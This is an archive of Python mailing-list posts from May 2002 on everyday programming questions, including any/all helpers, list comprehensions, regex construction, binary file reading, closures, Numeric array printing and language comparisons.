<23891c90.0205130956.6f0436a0@posting.google.com> <23891c90.0205160610.2f7f22c0@posting.google.com> Message-ID: <23891c90.0205200717.23d175d2@posting.google.com> jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) wrote in message news:... > > The baroque went out of fashion over 200 years ago. Art is not merely > decorative and for amusement. Yes, but can computers appreciate art? ;-) Paul From quinn at schilling.ugcs.caltech.edu Tue May 28 12:01:40 2002 From: quinn at schilling.ugcs.caltech.edu (Quinn Dunkan) Date: 28 May 2002 16:01:40 GMT Subject: 'for every' and 'for any' References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: On Tue, 28 May 2002 02:33:11 -0400, Oren Tirosh wrote: >On Sun, May 26, 2002 at 09:17:47AM -0500, jepler at unpythonic.net wrote: >> On Sun, May 26, 2002 at 01:59:44PM +0300, Oren Tirosh wrote: >> > Here's an idea for a possible language enhancement. I'd like to hear your >> > comments about it. It's inspired by list comprehensions and I think the >> > examples are pretty self-explanatory: >> > >> > if not isinstance(x, str) for any x in args: >> > raise TypeError, "arguments must be of type str" ... >Anyway, the common task of checking if all or any of the items of a list >match a certain predicate is implemented in a large variety of ways. Just >in the replies to my message I got implementations that use break >statements, exceptions to break of of the loop, flags, checking for empty >lists, comparing list length to the original list and reduce with lambdas. >I've also seen a lot of code that uses the return statement as a kind of >break to achieve this effect. The standard lisp functions EVERY and SOME are easily written in python: def every(f, seq): for e in seq: if not f(e): return 0 else: return 1 def some(f, seq): for e in seq: if f(e): return 1 else: return 0 Then the above becomes: if not every(is_string, args): raise TypeError('why is that "brick" so "bleck"?') where: def is_string(o): 'checking for stringp is more complicated if you include unicode' # if you want backward compatibility, it's even more complicated return some(lambda t: isinstance(o, t), types.StringTypes) >The fact that there is no simple, common idiom to express this operation >seems to suggest that this part of the language is not as natural as it >could be. Most common ways to express this operation make use control flow >statements rather than expressions which makes them more awkward to use. The above functions are how I would solve the problem at first glance (though I'd probably call them "any" and "all" after haskell). They're not builtin to python but are standard in many other languages. Any any case, it seems quite simple and natural to me (as well as being an expression). The fact that I don't have them in my util library probably means I don't need them very often and when I do I find it easier to write three lines of loop. Probably because the loop is so easy, and if you take the any/all route you soon find yourself writing curry() and before you know it you're generating thunks to foil eager evaluation and then you realize you're well down the slipperly slope and made a big mess of things by writing non-pythonic python. >An expression is easy to use in an if statement where you get an else >clause. Using combinations of break makes it harder to use both the positive >and negative case. I often find myself rearranging my code and sometimes >inverting tests just to get what I want. That's not what programming is all >about. I'd rather concentrate on the task at hand than on how to express it. Then drop those functions into your personal utility library and use 'em as often as you want :) As an aside, I'm sure you know this and your example was just a silly example, but explicitly checking types is usually bad form in python. From martin at v.loewis.de Sat May 18 17:14:19 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 18 May 2002 23:14:19 +0200 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: "RoadRunner eNews" writes: > I'm no Python guru, so am at a loss on how to continue at this > point. I recommend to try CVS Python. Regards, Martin From parker at gol.com Thu May 9 05:06:59 2002 From: parker at gol.com (Ian Parker) Date: Thu, 09 May 2002 09:06:59 GMT Subject: Result of I need your experience - classification and comparison of languages References: Message-ID: In article , Yvan Radenac writes >Hi, >This is the results of the questions i asked few months ago as the >post >"I need your experience - classification and comparison" >The subject of the report is "oriented object languages and their free >implementation". > >First, thank you for your answers. > >You can find, in french, the report at >http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf > >But, if you are interesting in, i can post the sheets in english. > >Regards, >Yvan It looks interesting (and even the fonts look OK). I'd enjoy reading it in English. Regards -- Ian Parker From xsebbi at gmx.de Tue May 28 11:31:35 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Tue, 28 May 2002 17:31:35 +0200 Subject: Another stupid question... In-Reply-To: References: Message-ID: <200205281731.35394@xsebbi.de> On Dienstag, 28. Mai 2002 16:18, Shagshag13 wrote: > Well i don't know why but i can't use up and downs key in python > prompt line (>>>) > I had the same trouble for erase key but after adding : > > stty erase "^H" > > in .bashrc, it works fine. > > But i still don't know how to do it for up key (i get ^[[A) and down > key (^[[B) > > Thanks in advance, > > S13. ;))) Looks like my (old problem) from yesterday. Well, look at the archive for more. Solution was the following: copy the readline.so from you old python installation into you new one. Should work. Sebastian From jidanni at deadspam.com Tue May 7 20:57:34 2002 From: jidanni at deadspam.com (Dan Jacobson) Date: 08 May 2002 08:57:34 +0800 Subject: python's error numbers are not parsible by emacs' next-error References: <200205070458.g474wg902449@aztec.santafe.edu> Message-ID: Fellas, I can't believe GNU Emacs' next-error command [part of M-x compile] can't parse python line numbers. But apparently it is true, so I just posted this to gnu.emacs.bug : ------------ >>>>> "RMS" == Richard Stallman writes: RMS> Could you please show me one complete Python error message? RMS> That will give me the information I need to handle them properly. $ echo bla|python /dev/stdin Traceback (innermost last): File "/dev/stdin", line 1, in ? NameError: bla or something like that. You really don't want to be asking me, as I've only used python for one day. I will post to the python groups to tell them to post the real answer to gnu.emacs.bug. -- http://jidanni.org/ Taiwan(04)25854780 From lac at strakt.com Sun May 26 23:37:28 2002 From: lac at strakt.com (Laura Creighton) Date: Mon, 27 May 2002 05:37:28 +0200 Subject: extended list comprehensions In-Reply-To: Message from fxj@hotmail.com (F. Jamitzky) of "26 May 2002 14:16:31 PDT." References: Message-ID: <200205270337.g4R3bS34025430@ratthing-b246.strakt.com> > It would be great to have something like a list comprehension for the > reduce function. It would work in the same way as the comprehension > for the map function, which is: > > [foo(x) for x in xs] <-is the same as-> map(foo,xs) > > and maybe it could be written as: > > {y=y+x for x in xs} <-would be-> reduce(operator.add,xs) > > what do the experts think about that ? > > ferdinand > -- > http://mail.python.org/mailman/listinfo/python-list Adding more typography makes our language ugly and hard to read. Laura Creighton From marklists at mceahern.com Thu May 2 14:06:51 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 2 May 2002 13:06:51 -0500 Subject: module access In-Reply-To: <644f6688.0205020957.783efdea@posting.google.com> Message-ID: [rdack] [...] > but i have a link in fileb [...] What do you mean by 'link'? If you import the package, you can access the __path__ property. That might help. // m From huaiyu at gauss.almadan.ibm.com Thu May 9 14:30:36 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 9 May 2002 18:30:36 +0000 (UTC) Subject: Comments on Version 2, Draft Pep for Deprecating Builtins References: Message-ID: Gareth McCaughan wrote: >There was one thing I said that isn't completely redundant, >which I'll repeat here: > >> Eliminating |input| would be a major improvement to the language, >> *provided* we get something that does what |input| should have >> done. Unfortunately, what with unary minus and complex numbers >> and lists and tuples and everything else being handled in the >> expression eval rather than the parser, this isn't as trivial >> as one might think. >> >> To expand: we could really do with something that lets the user >> enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" >> and returns the same as |input| does for those, but that doesn't >> permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". > What about a simpler approach using rexec? Would it be safer if eval(raw_input()) is replaced with the following? import rexec r = rexec.RExec() r.r_eval(raw_input()) I understand that rexec is not completely safe, but it might be better for preventing accidents, if not to defend against attacks. I don't see the reason to prevent 2**2002. But if there is such a reason, maybe one should tweak r_eval to handle it? Huaiyu From lazerpub at yahoo.com Sat May 18 23:44:32 2002 From: lazerpub at yahoo.com (Joshua Newman) Date: 18 May 2002 20:44:32 -0700 Subject: regexp search for variable and string Message-ID: Sorry if this has been asked and answered innumerable times. I couldn't find the answer anywhere. I'm trying to grab some news with wget and python. I can't regexp for a variable (date) and specific words in the same re.compile expression. Any hints? #get today's date date= time.strftime("%Y/%m/%d", time.localtime(time.time())) #construct a string to search for today's date and wire services but no #sports or index pages restring="""r'("""+date+"""|aponline|reuters)(?!/sports|.*index.html)'""" today=re.compile(restring) #above doesn't work, but: #today=re.compile(r'(2002/05/19|aponline|reuters)(?!/sports|.*index.html)' #works fine with: todaysurl=re.findall(today,onlinenewspaperURLs) Can I do this in one regexp? Thanks for the help Joshua From shalehperry at attbi.com Thu May 30 21:06:57 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 30 May 2002 18:06:57 -0700 (PDT) Subject: matching one time through a loop In-Reply-To: <20020531105300.T2276@regdp-02.intint.registriesltd.com.au> Message-ID: On 31-May-2002 David K. Trudgett wrote: > On Friday 2002-05-31 at 09:55:04 +1000, Delaney, Timothy wrote: > >> Seriously here ... by not having regular expressions be an integral part of >> the language, I believe they become much more understandable. It is always > > There might be something in that. However, having learned Perl before > Python, I just find it really clunky and slow to do regex stuff in > Python. I find that I miss the power that direct language syntax > support for regexes gives me. There's obviously a value judgement > there, of course: one needs to weigh up ease and speed of programming > with other factors like cleanness, readability, and so on. Obviously, > Python comes down on the cleanness/readability side, at the expense of > programmer productivity in text processing. > the difference is the thought "I have a problem, let's use a regex" that seems to be key to perl programming. From greg at cosc.canterbury.ac.nz Tue May 14 22:27:03 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 May 2002 14:27:03 +1200 Subject: generated comprehensions References: <4c877253.0205132231.6d286d0b@posting.google.com> Message-ID: <3CE1C777.9110C4D7@cosc.canterbury.ac.nz> Garth T Kidd wrote: > > def printOdds(upto): > for odd in [num for num in xrange(upto) if num%2]: > print odd > > ... works fine if upto is 5, but just sits there chewing up memory if > upto is 10**9, at which point you abandon comprehensions and do it > properly: I don't think I would have used a comprehension there in the first place, because building a list isn't needed. i.e. I would have "done it properly" the first time, particularly since the comprehension only saves 2 lines of code. > I'm sure I'll figure out a decent rule of thumb (say, "unit test with > the biggest practical number, and get rid of comprehensions if they > turn out to be a problem", or "don't use comprehensions with > generators"), The rule of thumb you want is: If you need the result as a list, use a comprehension, otherwise don't. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From pyth at devel.trillke.net Mon May 13 17:00:56 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 13 May 2002 23:00:56 +0200 Subject: #ifdef like question. In-Reply-To: <7647A9F4B298E74DB6793865DA67285004B346@exchange.adrembi.com>; from romany@actimize.com on Mon, May 13, 2002 at 08:42:53PM +0200 References: <7647A9F4B298E74DB6793865DA67285004B346@exchange.adrembi.com> Message-ID: <20020513230056.E28033@prim.han.de> Roman Yakovenko wrote: > Hi. I have 2 different implementation of the same class \ function. > I'd like to use implementation according to some future existence. ^^^^^^^^^^^^^^^^^^^^^^^ Do you mean you want to check whether you can do from __future__ import generators and define either a generator or an ordinary function? holger From BPettersen at NAREX.com Mon May 27 14:45:21 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Mon, 27 May 2002 12:45:21 -0600 Subject: newbie problem with files... Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E8C@admin56.narex.com> > From: Bjoern [mailto:google at blinker.net] > > Hello, > > I can't seem to read complete files, they are usually cropped > after 1Kb or so. I've tried with file upload in cgi, but also > reading files from disk directly and writing them to another file. > > The only thing I could imagine is that it has to do with the > description of read(): > > "For certain files, like ttys, it makes sense to continue > reading after an EOF is hit." > > I don't know what a ttys is - so how would I know when to > continue reading after an EOF, and how would I then know when to stop? > > My current testcode goes like this > > fIn = open("doublebuffer.zip","r") [snip] You need to open it for binary read, so instead of "r" in the line above put "rb". -- bjorn From pinard at iro.umontreal.ca Fri May 3 11:35:20 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 03 May 2002 11:35:20 -0400 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: [Christopher Browne] > PL/1 was certainly pegged as the successor to both COBOL and FORTRAN; And of Algol-60, simulation languages, and a few others, with an interface giving more access to the underlying operating system than usual in that era. It was a common joke at the time that PL/I enthusiasts all had dilated eyes, nervous addicted bodies, and were repeating "More... more..." to no end! :-) -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From aahz at pythoncraft.com Wed May 15 19:31:45 2002 From: aahz at pythoncraft.com (Aahz) Date: 15 May 2002 19:31:45 -0400 Subject: float separationn References: <3CE2DA16.3050209@darkstargames.de> Message-ID: In article <3CE2DA16.3050209 at darkstargames.de>, Wolfgang Draxinger wrote: > >This is not really C/C++ related, but I think this is also a place to ask: >I'm currently working on a compressed 3D Object interchange format. >With C/C++ its no problem to raw-write the IEEE standard floats the data >consists of into files. Now I'm writing some export scripts for blender >in python. My problem is, that the python float object doesn't provide a >raw-data access. What I need now, is some possibility to construct the >IEEE float format from data returned by the standard math functions. >I think frexp() is a good start, however this still returns a float >value. I'd like to have the raw bits... See _floatToString() in http://starship.python.net/crew/aahz/Decimal.py -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From kragen at pobox.com Fri May 17 03:19:08 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:19:08 -0400 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <83adqzxmvn.fsf@panacea.canonical.org> Julia Bell writes: > (I don't want to use formatted strings - I'm looking for something to > simplify the line.) > In perl I would have used: > $mystring = "Value of parameter = $parameter is unexpected" http://web.lfw.org/python/ http://web.lfw.org/python/Itpl15.py HTH. From eppstein at ics.uci.edu Fri May 17 23:05:47 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 17 May 2002 20:05:47 -0700 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205171428.50029adc@posting.google.com> Message-ID: In article , bokr at oz.net (Bengt Richter) wrote: > Yes, it's much clearer. But I just thought of the following, > which seems to work, and seems to me also pretty clear: > > >>> def foo(n): > ... def bar(i): > ... bar.s += i > ... return bar.s > ... bar.s = n > ... return bar > ... > >>> f=foo(4) > >>> f(3) > 7 > >>> f(10) > 17 > > The function bar is accessible via its own closure and thereby the > attribute s. So the attribute namespace seems to work like an > assignable-within closure ;-) Neat, I like this a lot better than the s=[n] trick. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From aleax at aleax.it Thu May 9 05:56:05 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 9 May 2002 11:56:05 +0200 Subject: Comments In-Reply-To: References: Message-ID: On Thursday 09 May 2002 12:39 am, Sean 'Shaleh' Perry wrote: ... > >> thanks for clearing that up Tim. Not sure I like the idea of random > >> strings being used for comments, but at least they are reasonably cheap. > > > > Totally random strings would make very unlikeable comments -- how > > can you be unsure about it? Just imagine the mishmash of letters, > > digits, punctuation -- suitable for a Perl script perhaps, but surely not > > for a Python comment. > > You say many interesting things in the rest of this. However perhaps my > intent was not clear. Or perhaps somebody was deadpanningly playing upon the "random" idea. Hard to say, really. > BTW 'pastiche' means what? According to The American Heritage Dictionary of the English Language: pas?tiche ??Pronunciation Key??(p-stsh, p?-) n. A dramatic, literary, or musical piece openly imitating the previous works of other artists, often with satirical intent. A pasticcio of incongruous parts; a hodgepodge: ?In... a city of splendid Victorian architecture... there is a rather pointless pastiche of Dickensian London down on the waterfront? (Economist). [French, from Italian pasticcio. See pasticcio.] Alex From fperez528 at yahoo.com Fri May 24 21:47:30 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 24 May 2002 19:47:30 -0600 Subject: Print precision? References: Message-ID: Damian Menscher wrote: > I'm debugging my program that depends on the Numeric/LinearAlgebra > packages. In order to get an idea of what is going on, I just use > lots of print statements. But when you're printing a largish > (32x32) matrix, the 8 decimal places given by default can take > more space than they're worth. Is there a simple way to cut this > down to a more reasonable value (like zero)? > > I guess I *could* write a function that prints each element > separately.... > for i in range(32): > print "%.1f %.1f %.1f %.1f ..."%(m[i,0], m[i,1], m[i,2]....) > But that just seems silly. > > > On a related note, is there a way to change the default line width? > Even if I expand my xterm to 200+ chars, Python wraps the matrix > output at 80. Numeric arrays have their own printing routines, python only prints a string it gets from them. So you'd have to hack into Numeric a bit. If you're planning on it, let me suggest you take a look at ipython at: http://www-hep.colorado.edu/~fperez/ipython/ I've already put in the hooks for a modified Numeric array printer, so it would be only a matter of adding the code. The framework is in place. And for the kind of numerical/analysis work I suspect you do, ipython has many features which will probably help you a lot. That's my main use of it and why I wrote it to begin with. On a vein related to your work: I use it interactively to look at finite temperature vacuum topology (pure gauge), here are some quick and dirty screenshots: http://www-hep.colorado.edu/~fperez/pub/topo_viz_sample.jpg http://www-hep.colorado.edu/~fperez/pub/topo_2412.b585m008.36.1000.slices/ http://www-hep.colorado.edu/~fperez/pub/topo_vol_ray.jpg The first is a single 3-d slice visualized, the second is a set of frames of the full lattice (24^3x12) sliced along the x direction and the 3rd is a fancy volume rendered version of the first. If you are interested in the code to do that, drop me a line. It has already code for loading MILC-format topological density data, and it's easy to add writers for other formats. Its still 'internal use code', so not very commented (right now I was modifying it to look at chiral/fermionic density) but it should be clear enough for you to play with. Cheers, f. From deathfox at moochercrew.org Sat May 4 05:09:18 2002 From: deathfox at moochercrew.org (Chris Emery) Date: 04 May 2002 02:09:18 -0700 Subject: Using functional tools In-Reply-To: <3CD39DAD.D5BC3F9C@vip.fi> References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: <1020503385.28720.7.camel@arisu> This is how I might do it. >>> list2 = [list[a] for a in range(len(list)) if not a % 2] >>> list2 ['a', 'c', 'e'] where list[a], you could replace with list[function(a)], and the if not a % , is how often you want to do it. for the reading in of files, I belive you really don't have a choice..., but to write, you can shorten it a bit as such open("myfile.txt", "w").writelines([list[a] for a in range(len(list)) if not a % 2]) or something to that affect My $00.2 Chris On Sat, 2002-05-04 at 01:37, Pekka Niiranen wrote: > I would like to feed every second (or 3rd or 4th .etc) item in a list to > a function. > > list = ['a', 'b', 'c', 'd', 'e'] > > **some fancy map/filter -trick here** > > => list = ['a', function('b'), 'c', function('d'), 'e'] > > Is there a (functional) way without using for or while -structures ? > > If I only manipulate every second line of a file with that function, > is there a faster way than reading the whole file into a list ?: > > list = open ("myfile.txt", "rb").readlines() > **modify every 2nd line with set of functions** > ** write the whole list into a new file** > > The size of a file is max 2Mb. > > -pekka- > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list From Dick.Zantow at lexisnexis.com Fri May 3 08:48:07 2002 From: Dick.Zantow at lexisnexis.com (rzed) Date: Fri, 3 May 2002 08:48:07 -0400 Subject: Low level python References: Message-ID: "Christian Tismer" wrote in message news:mailman.1020423726.21146.python-list at python.org... > Ken Seehof wrote: > >>You guys are scaring me. I don't feel safe on the cutting edge! > >> > >>It actually doesn't look that hard using WinDriver (they even have device > >>drivers written in VB!) > >> > >>One prob I have to convince the rent payers: It uses 2-3Mb of RAM when > >>running! Who wants a 3Mb device driver? > >> > >>I remember that deeply embedded python recompile python dropping langauge > >>features out. Is there an easy way to do this? > > Yes but why. > > >>Anyone know how I can reduce the memory footprint of Python? > > Write all your device drivers and finally your system > with this one Python kernel. Then you are small, > compared to what we have nowadays. > > >>Matthew Sherborne > > > > > > Yeah. You could write the operating system in python! That way all the > > python device drivers won't cost extra :-) > > > > But seriously, you should check out Gordon McMillan's work: > > http://starship.python.net/crew/gmcm/distribute.html > > I think this is serious. Who really needs an operating > system, a file system and all of that? > Forgetting about other applications, I really believe > that one could write a pretty nice OS with Python, > object oriented from the ground. > > This would be a real fun project, > provided there were fun-ding. :-) > A big project, obviously, but I agree that it would be immensely fun to have available. And then the custom chip to put Python into the hardware (yeah, yeah, but I mean, whatever *could* be put there) ... From martin at v.loewis.de Sun May 12 11:04:04 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 17:04:04 +0200 Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Gerhard H?ring writes: > > The counter-position to that is: what about existing code, > > recode(1) It's not as easy as that. If you have print "M?ldung" then, after recoding, this program likely won't work correctly anymore - it will print garbage (or, as the Japanese say: mojibake) Regards, Martin From peter at engcorp.com Mon May 13 19:58:49 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 19:58:49 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> Message-ID: <3CE05339.6660B6BA@engcorp.com> Chris wrote: > > > Chris wrote: > > ... > > > While I enjoy Python - and I do... it opned up the world of OO > > > programming for me - I think there's almost a danger in things being too > > > obvious. Creativity can be a messy business, but ultimately it leads to > > > better places. [...] > In the end I'm not trying to say Python's approach is bad. Quite the > contrary, I like Python quite a bit, and have defended it amongst Perl > devotees. I just think that there is an advantage to a bit of > ambiguity, at times. You've said there's a danger in things being too obvious, and that there are advantages to a bit of ambiguity, but you haven't yet stated what that danger nor what those advantages might be. Is it just a gut feeling, or do you really have specific examples on which you base these claims? Personally, I reject both of them outright, after starting with the premise that when programming I'm engaged in a practical endeavour, not an artistic one. -Peter From robin at jessikat.fsnet.co.uk Sun May 19 08:47:40 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Sun, 19 May 2002 13:47:40 +0100 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: <597ee21d.0205190433.59938215@posting.google.com> Message-ID: In article <597ee21d.0205190433.59938215 at posting.google.com>, David Aldridge writes >Anyway, your suggestions were spot on (and so obvious that I should >slap myself...) Using dumpbin showed that all of the modules I >compiled contained *NO* exports. Adding an /EXPORT: setting to >the linker line "fixed" the problem, but that shouldn't be necessary, >as the appropriate functions are __declspec(dllexport). Bizarro... >*sigh* Guess it's time to spend a year figuring out how/why exports >are broken. Bah, Microsoft. Bah. > >David Perhaps the pre-processor conditional code defining DL_EXPORT in pyconfig.h broke for some reason. Perhaps one of the standard defines is absent/different. -- Robin Becker From donn at drizzle.com Fri May 24 23:31:52 2002 From: donn at drizzle.com (Donn Cave) Date: Sat, 25 May 2002 03:31:52 -0000 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> <3cee2338_2@news3.newsgroups.com> Message-ID: <1022297508.675568@yasure> Quoth Oleg Broytmann : | On Fri, May 24, 2002 at 01:40:40PM +0200, jb wrote: |> Thx. Have you read by any chance Paul Graham's article at |> http://www.paulgraham.com/icad.html ? He makes a few remarks as to how | | Just yesterday I was visiting his page and reading his articles. He is | one of the clearest thinkers and writers I've ever saw. | |> Python is not (yet) sufficient, if I understod correctly. I should be |> intrested in a Python expert's opinion on this. | | Well, rough (if not rude) approximation of his idea is "Python is still | not List, and thus is not yet sufficient." Yes, he definitely has good | reasons to admire Lisp, but other people may disagree with the idea | "whatever is not Lisp is not sufficient". Paul Prescod was right (as paraphrased on the followup page linked in the page above) - he really did choose an example that favored Lisp. The function that carries data is cool enough. Lisp does it easier than Python, and in fact does "functional programming" better than Python by a long shot. But then, Python does OOP better than Lisp! He seems vaguely mystified that Python programmers would favor the much more tedious class solution, but of course if you wanted to add some requirement like support two functions over that data instead of just one, then the mystery evaporates. And no doubt a Haskell list comprehension would look pretty good for the present problem, even though Python has its own list comprehensions. When you take on a comparison between two decent languages, though, you have a lot of impossible questions about which big picture concepts are really going to pay off. Does OOP live up to its promise on re-use of code, can ordinary people really "get" functional programming and become really productive in it, does one approach or another really reduce complexity in a meaningful way. Jury's still out. Donn Cave, donn at drizzle.com From owen at nospam.invalid Wed May 8 14:38:02 2002 From: owen at nospam.invalid (Russell E. Owen) Date: Wed, 08 May 2002 11:38:02 -0700 Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: In article <8580b02e.0205071527.5b6ce52f at posting.google.com>, usawargamer at yahoo.com (BHE) wrote: >People have said good things about Python but Ive never used it. >I use Perl and Java and C++. > >My question is: What does Python offer me over Perl? I dont use >object oriented Perl (which I consider innapropriate) and dont want a >hackers approach. > >If Python is a superior languiage thats here to stay, and a better >language than Perl I'll consider learning it. I use Perl for >scripting, file manipulation, database retrieveal and stuffing, report >generation. > > >(I'm not looking to provoke a fight between Perl and Python backers. >I'd like to know what Pythons strengths and weaknesses are). Syntax is a big plus for Python. Functions have named arguments (no need for @ unpacking). Lists and dictionaries (associative lists) can contain arbitrary items including other lists and dictionaries. The syntax for objects and exception handling are clear and readable. I think Perl's syntax is probably a bit more efficient for quickie text processing scripts, but it starts to get in the way for larger things. By comparison, Python is good for small scripts and also good for larger tasks. It scales nicely and is readable. Nothing is perfect. Things I don't like about Python include (everybody will have their own list, of course): - The type/class unification problem. This is *much* improved in recent Python but still has further to go. - There is a sometimes uncomfortable (to me) mix of global functions, operators, etc., meaning more trips to the docs than I'd like. For instance collection classes don't have a len or length method, you call the global function len on them. As a result, it is sometimes challenge finding the way to do something. Still, it is better than it was. At one time there was a string module full of functions rather than methods on string objects. - The date and time library is pretty primitive. - Lack of explicit variable declarations. This makes use of local variables vs variables you can see because you are in another function's scope a minefield. - You should not use mutable objects (such as lists or dictionaries) as default arguments for functions. It doesn't work the way one might expect, and most folks stumble across this sooner or later. - The need for "self" to be an explicit argument to object methods. -- Russell From jdhunter at nitace.bsd.uchicago.edu Mon May 20 10:33:27 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Mon, 20 May 2002 09:33:27 -0500 Subject: regexp search for variable and string References: Message-ID: >>>>> "Joshua" == Joshua Newman writes: Joshua> date= time.strftime("%Y/%m/%d", time.localtime(time.time())) Actually, the time arg to strftime is also optional an defaults to now. So the above is equivalent to date = time.strftime("%Y/%m/%d") Ditto for time.localtime. Instead of time.localtime(time.time()) you can use time.localtime() John Hunter From xsebbi at gmx.de Wed May 22 06:20:11 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Wed, 22 May 2002 12:20:11 +0200 Subject: Converting HTML to XHTML Message-ID: <200205221220.11950@xsebbi.de> Hi all, there's a new problem for me. I want to convert an HTML-File to an XHTML-File. The first step for that would be that standalone tags get an / at the end. So my question is the following: Are there any modules for this formatting or must I write some regular expressions for that? Thank you in advance, Sebastian From tim_one at email.msn.com Wed May 8 01:02:32 2002 From: tim_one at email.msn.com (Tim Peters) Date: Wed, 8 May 2002 01:02:32 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: <20020506165922.GN1668@tishler.net> Message-ID: [Jason Tishler] > ... > I intend to submit a patch to Python CVS with a clean version of the > above. However my motivation would be greater, if I actually knew of > someone who is really interested in this functionality. So would our motivation not to reject the patch instantly with a snotty "who cares?" . From fivearmstrongs at shaw.ca Thu May 2 17:23:42 2002 From: fivearmstrongs at shaw.ca (Armstrong) Date: Thu, 02 May 2002 21:23:42 GMT Subject: New user question: py2exe with Pmw Message-ID: Hi, I have a pretty basic piece of Python code that uses the Pmw and Tcl/Tk modules that I'm trying to run through py2exe. The Tcl/Tk portion works just fine, but when I enable the Pmw portion the executable won't run anymore, failing with the message: Traceback (most recent call last): File "imputil.pyc", line 103, in _import_hook File "", line 52, in _import_top_module File "imputil.pyc", line 216, in import_top File "imputil.pyc", line 271, in _import_one File "", line 128, in _process_result File "Pmw\__init__.pyc", line 37, in ? IndexError: list index out of range It looks to me like Pmw was not included, but I'm not sure. There's a tcl directory created in the dist directory, but nothing for Pmw. I looked through the docs for py2exe and it says it can do Pmw just fine, but I couldn't find any other information on how to do this. My setup file for the distro looks like this: from distutils.core import setup import py2exe setup( scripts=["myscript.py"] ) It's just the basic script from the examples... do I need to include some more information for py2exe to find the modules properly? Thanks, Greg Armstrong From dkt at registriesltd.com.au Thu May 30 20:13:30 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 10:13:30 +1000 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? In-Reply-To: ; from mwh@python.net on Thu, May 30, 2002 at 02:22:47PM +0000 References: Message-ID: <20020531101330.Q2276@regdp-02.intint.registriesltd.com.au> On Thursday 2002-05-30 at 14:22:47 +0000, Michael Hudson wrote: > Read this: > > http://www.python.org/doc/2.2.1/tut/node14.html > > (the fact that I can type this URL from memory should be some > indication that you could have answered your query yourself with a > little effort). Obviously, something has changed since Python 1.5.2: Python 1.5.2 >>> 0.1 0.1 >>> 3.1*2 6.2 >>> sum = 0.0 >>> for i in range(10): ... sum = sum + 0.1 ... >>> sum 1.0 Perl: bash$ perl -e 'print 3.1*2 . "\n"' 6.2 bash$ perl -e '$sum = 0;foreach(1..10){$sum += 0.1}; print "$sum\n";' 1 Python 2.1.3 >>> 0.1 0.10000000000000001 >>> >>> 3.1*2 6.2000000000000002 >>> >>> sum = 0.0 >>> for i in range(10): ... sum = sum + 0.1 ... >>> sum 0.99999999999999989 >>> Personally, I expect a scripting language to give me the right answer, not the "correct" answer. For "correctness" I can use C. I suppose arguments could be made on both sides... David Trudgett From pinard at iro.umontreal.ca Sat May 4 11:17:13 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 04 May 2002 11:17:13 -0400 Subject: Slight irritation with try/finally indentation In-Reply-To: References: <3cd2c922.692157118@news> <3CD31FC0.6020503@st.jyu.fi> Message-ID: [Bengt Richter] > what about the bigger picture? E.g.,: > try: > acquire_resources() > try: > process() > finally: > release_resources() > except AcquireResourceFailure: > handle_resource_acquisition_failure() > except ProcessFailure: > handle_process_failure() > else: > wrap_up_clean_process_completion() I see your idea, Bengt, but I fear it would not be practical in my case. As I use such constructs a bit all over the place and very often in the application I am working on, bloating every occurrence would be unfortunate for the overall aspect of the program. Your suggestion would be very welcome if used only a few times, near the outer extent of the overall organisation of a big program. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From jepler at unpythonic.net Wed May 8 19:17:04 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Wed, 8 May 2002 